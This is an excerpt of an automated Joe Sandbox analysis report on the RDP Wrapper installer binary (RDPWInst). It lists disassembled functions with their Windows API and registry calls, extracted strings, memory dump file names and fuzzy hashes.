Instruction Fuzzy Hash: 37416571A002195ED721EB6ADC8978EB3B4EF48304F5005BAE448B72D2DB789E908E58

Function 004040B4 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,00404194,0040A1B9,00000000,0040A1E0), ref: 004040D2
VirtualFree.KERNEL32(00449AC8,00000000,00008000,?,00000000,00008000,?,?,?,?,00404194,0040A1B9,00000000,0040A1E0), ref: 0040412F

Strings

xPD, xrefs: 004040E2
$zD, xrefs: 004040B8

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID: $zD$xPD
API String ID: 1263568516-535612291
Opcode ID: ee1e8e4c5ce6b12cd624387e406e1cf1ad3c0fb6f8253ccd4ae2b310545238de
Instruction ID: 63e96df57fdc30e3e5434cdd8ac4306be2e0fcd0727744789414a485f14a8afc
Opcode Fuzzy Hash: ee1e8e4c5ce6b12cd624387e406e1cf1ad3c0fb6f8253ccd4ae2b310545238de
Instruction Fuzzy Hash: CF1161B13012009FDB248F059985B26BAE5EBC4714F55C0BEE309AF3C2D679EC01CB58

Function 00438B0C Relevance: 4.6, APIs: 3, Instructions: 150registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438B85
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438BFB
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 00438C6C

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 56a7ec8d88e5670b99992fed871dbba86343d1eb3cba1c9f5227469b2a4bb512
Instruction ID: 3681a8d3f24b20706dc106850b3bb9ce640454c4e8124a7cc358b0d46e7adf70
Opcode Fuzzy Hash: 56a7ec8d88e5670b99992fed871dbba86343d1eb3cba1c9f5227469b2a4bb512
Instruction Fuzzy Hash: 1F51A370B00344AFDB11EBA5C842B9EF7F9AB48304F11547EB444A3282CA7DAF069759

Function 00406220 Relevance: 4.6, APIs: 3, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 366fdbe2bdf6eda399ec161f43325e884a453738e97a5e27564f450e25dd0238
Instruction ID: 823ae625d887489e04d5fb836baef855571e76b59bd7737af2fa314308855dda
Opcode Fuzzy Hash: 366fdbe2bdf6eda399ec161f43325e884a453738e97a5e27564f450e25dd0238
Instruction Fuzzy Hash: 0D316F749002508BEF21BF69988975737A0AB05319F1640BFE806AB2D7C77C9CA4CB9D

Function 00406218 Relevance: 4.6, APIs: 3, Instructions: 76threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 4e2b89c40ccb1b4c43cad0f32e0a83214a0d4d0925328316d29d930894bce137
Instruction ID: 46b61aa2349ed196f7bea0abd1f985a96ea7bcfce35a4251490327c9ac1ca2fd
Opcode Fuzzy Hash: 4e2b89c40ccb1b4c43cad0f32e0a83214a0d4d0925328316d29d930894bce137
Instruction Fuzzy Hash: 1331A2749002908BDF21BF78888975737A0AB06319F1640BFE845AB2D7C37C9CA4CB9D

Function 0040621C Relevance: 4.6, APIs: 3, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 6b58315340373024079e24359f3f29825cf54609d1d79e5c4cc5367edd112065
Instruction ID: d971c45546d1ba4d910c131f5b4d15d6df32f901540fb653785064192c66a389
Opcode Fuzzy Hash: 6b58315340373024079e24359f3f29825cf54609d1d79e5c4cc5367edd112065
Instruction Fuzzy Hash: 712191749002508BDF21BF79988975737A0AB06319F1640BFE806AB2C7C37C9CA4CB9D

Function 00402990 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,00402F9F,?,00402C72), ref: 004029A6

Strings

$zD, xrefs: 004029B7
$zD, xrefs: 004029AF, 004029BD

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: $zD$$zD
API String ID: 4275171209-354537599
Opcode ID: 1540fdcf1954a72339a161570870ab93fcd0dcb29e693a4e8299ffb28a0cb967
Instruction ID: 5217acd6ab2d11c2bd36ab0357f96252e91eb64f60a530f80fec48377855cdbd
Opcode Fuzzy Hash: 1540fdcf1954a72339a161570870ab93fcd0dcb29e693a4e8299ffb28a0cb967
Instruction Fuzzy Hash: 8AF062F1B143004FDB45CF799D853157AD1A78A318F20807EE608EB7E8EBB484468B48

Function 004069D4 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 004068D2
SysAllocStringLen.OLEAUT32(?,?), ref: 004069DF
SysFreeString.OLEAUT32(?), ref: 004069F1

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 552166d6c025dde526ed4baf3a4c1e22db0c7fdbaa80c72df019331380f0f916
Instruction ID: fb71732fc0ca27c4a1f64b9cddcd98791c7700d24e5edf769cc3926ad45b99af
Opcode Fuzzy Hash: 552166d6c025dde526ed4baf3a4c1e22db0c7fdbaa80c72df019331380f0f916
Instruction Fuzzy Hash: D6E08CB91022017DEA002F228D14B3B3368AF82311B6980BFB401BA2D1D67C88419A3C

Function 004398F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,?,?,00000000,00000000), ref: 0043991B

Strings

ImagePath, xrefs: 004398F0

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ImagePath
API String ID: 3660427363-1008103227
Opcode ID: 8f9baab103978417c959294274641bc3878bd645011188ec3b2bcbd739b8bb79
Instruction ID: d4c3dc3867a5d7f93f9a48779984ca1be9368a485682844844f209d8ad6df9e6
Opcode Fuzzy Hash: 8f9baab103978417c959294274641bc3878bd645011188ec3b2bcbd739b8bb79
Instruction Fuzzy Hash: C0019E76604208AFDB00EFA9CC81EDFB7A8EB49314F00817AB954D7342DA749E048BA5

Function 004399A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00439A26,?,?,00447324), ref: 00439A0B

Strings

$sD, xrefs: 004399BF, 004399C9, 004399F8, 00439A1D, 004399D7

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID: $sD
API String ID: 71445658-3047594130
Opcode ID: f10055141223f9af242b891c647282ca0f63b0c3ab4bd570c77cf0f661a267fa
Instruction ID: 93af5e93b009f9dfb1ca8860ce5652d254f583336edc44d6a4486ea6cd266cab
Opcode Fuzzy Hash: f10055141223f9af242b891c647282ca0f63b0c3ab4bd570c77cf0f661a267fa
Instruction Fuzzy Hash: 19017571B04208AFD714EB65CC52A9EB3FCEB4C304F61457BF445E3281DA79EE149658

Function 0043987C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,ServiceDll,?,?), ref: 004398AE

Strings

ServiceDll, xrefs: 00439884

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Value
String ID: ServiceDll
API String ID: 3702945584-3252591312
Opcode ID: 02259710c559a2b72da5c974877bfc6bd73b47a0d5aa3515892af2eb9807f5fe
Instruction ID: 396de0d2a0ab042baed8acc32e75219307ae4a3dd24f7b0442dd3090ee3af4a1
Opcode Fuzzy Hash: 02259710c559a2b72da5c974877bfc6bd73b47a0d5aa3515892af2eb9807f5fe
Instruction Fuzzy Hash: 74018671A042086FD750EBAEDC81A9FBBEC9F49324F00806AF958E7382D9799D049765

Function 00439D1C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004399A0: RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00439A26,?,?,00447324), ref: 00439A0B

RegCloseKey.ADVAPI32(00000000,00000000,00439D81,?,00447324), ref: 00439D5F

Strings

$sD, xrefs: 00439D26, 00439D4A, 00439D50, 00439D77

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: $sD
API String ID: 47109696-3047594130
Opcode ID: e90e8eeed010ee93333ce844b1745028c2c799c62f0c90b655c7822b69ebab96
Instruction ID: e2b80e318971c5615629c962b670a86c0d36aae3c059df6a015560dc8872c8c4
Opcode Fuzzy Hash: e90e8eeed010ee93333ce844b1745028c2c799c62f0c90b655c7822b69ebab96
Instruction Fuzzy Hash: F9013171E14304EFDB05CFA9C892A5DB7F8EB4D310F6140B6E810A7351D675EE10DA54

Function 0043924C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,004392B4,?,?,ImagePath,00000000,004392B4), ref: 0043927D

Strings

ImagePath, xrefs: 0043924D

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ImagePath
API String ID: 3660427363-1008103227
Opcode ID: adbd4c71f0fcc4d549a1fa8e18ed9452cd2da7834887e3629a62f86d07c84514
Instruction ID: 752c998736a6c6af0e84b74aa330b189edc71255cbbe141243c37e1b481e64ab
Opcode Fuzzy Hash: adbd4c71f0fcc4d549a1fa8e18ed9452cd2da7834887e3629a62f86d07c84514
Instruction Fuzzy Hash: 90F01CA23042406FD744EA6E9C81F6B96DCDBCC714F14443EB288C7282D968CC098769

Function 004389D8 Relevance: 3.1, APIs: 2, Instructions: 98registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438AE9,?,?,00447324), ref: 00438A52
RegCreateKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00438AE9,?,?,00447324), ref: 00438A8C

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 2d3289a1ee73edb82b509e2290eeebee96e579d361020ed9f990078e177ab248
Instruction ID: 0ee4ecbf886d923d9c7bbf31fd477b4cbe2ff9aaa7d825c43a2ca86d525438e5
Opcode Fuzzy Hash: 2d3289a1ee73edb82b509e2290eeebee96e579d361020ed9f990078e177ab248
Instruction Fuzzy Hash: E3315C70B04348AFDB11EBA98842B9EF7F9AB48304F50447EB544E7282DA78AF059759

Function 0040920C Relevance: 3.1, APIs: 2, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409248

Part of subcall function 0040941C: lstrcpynW.KERNEL32(?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409497
Part of subcall function 0040941C: lstrlenW.KERNEL32(?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 004094A3

LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409299

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileLibraryLoadModuleNamelstrcpynlstrlen
String ID:
API String ID: 2912033995-0
Opcode ID: 9b7ea9474c48fe3723e18e581a13ee0b38d21dda16a14f09b9e502bcf11d0e48
Instruction ID: f6262d892358e01f8eacd9344567111696420312dcbdab07fa653b046a231d07
Opcode Fuzzy Hash: 9b7ea9474c48fe3723e18e581a13ee0b38d21dda16a14f09b9e502bcf11d0e48
Instruction Fuzzy Hash: 43114270A4421CABDB10EB51CD86BDD73B8DB04304F5144FBB509B72D1DA785E858A59

Function 0040F77C Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F788
GetLastError.KERNEL32(00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F79A

Memory Dump Source

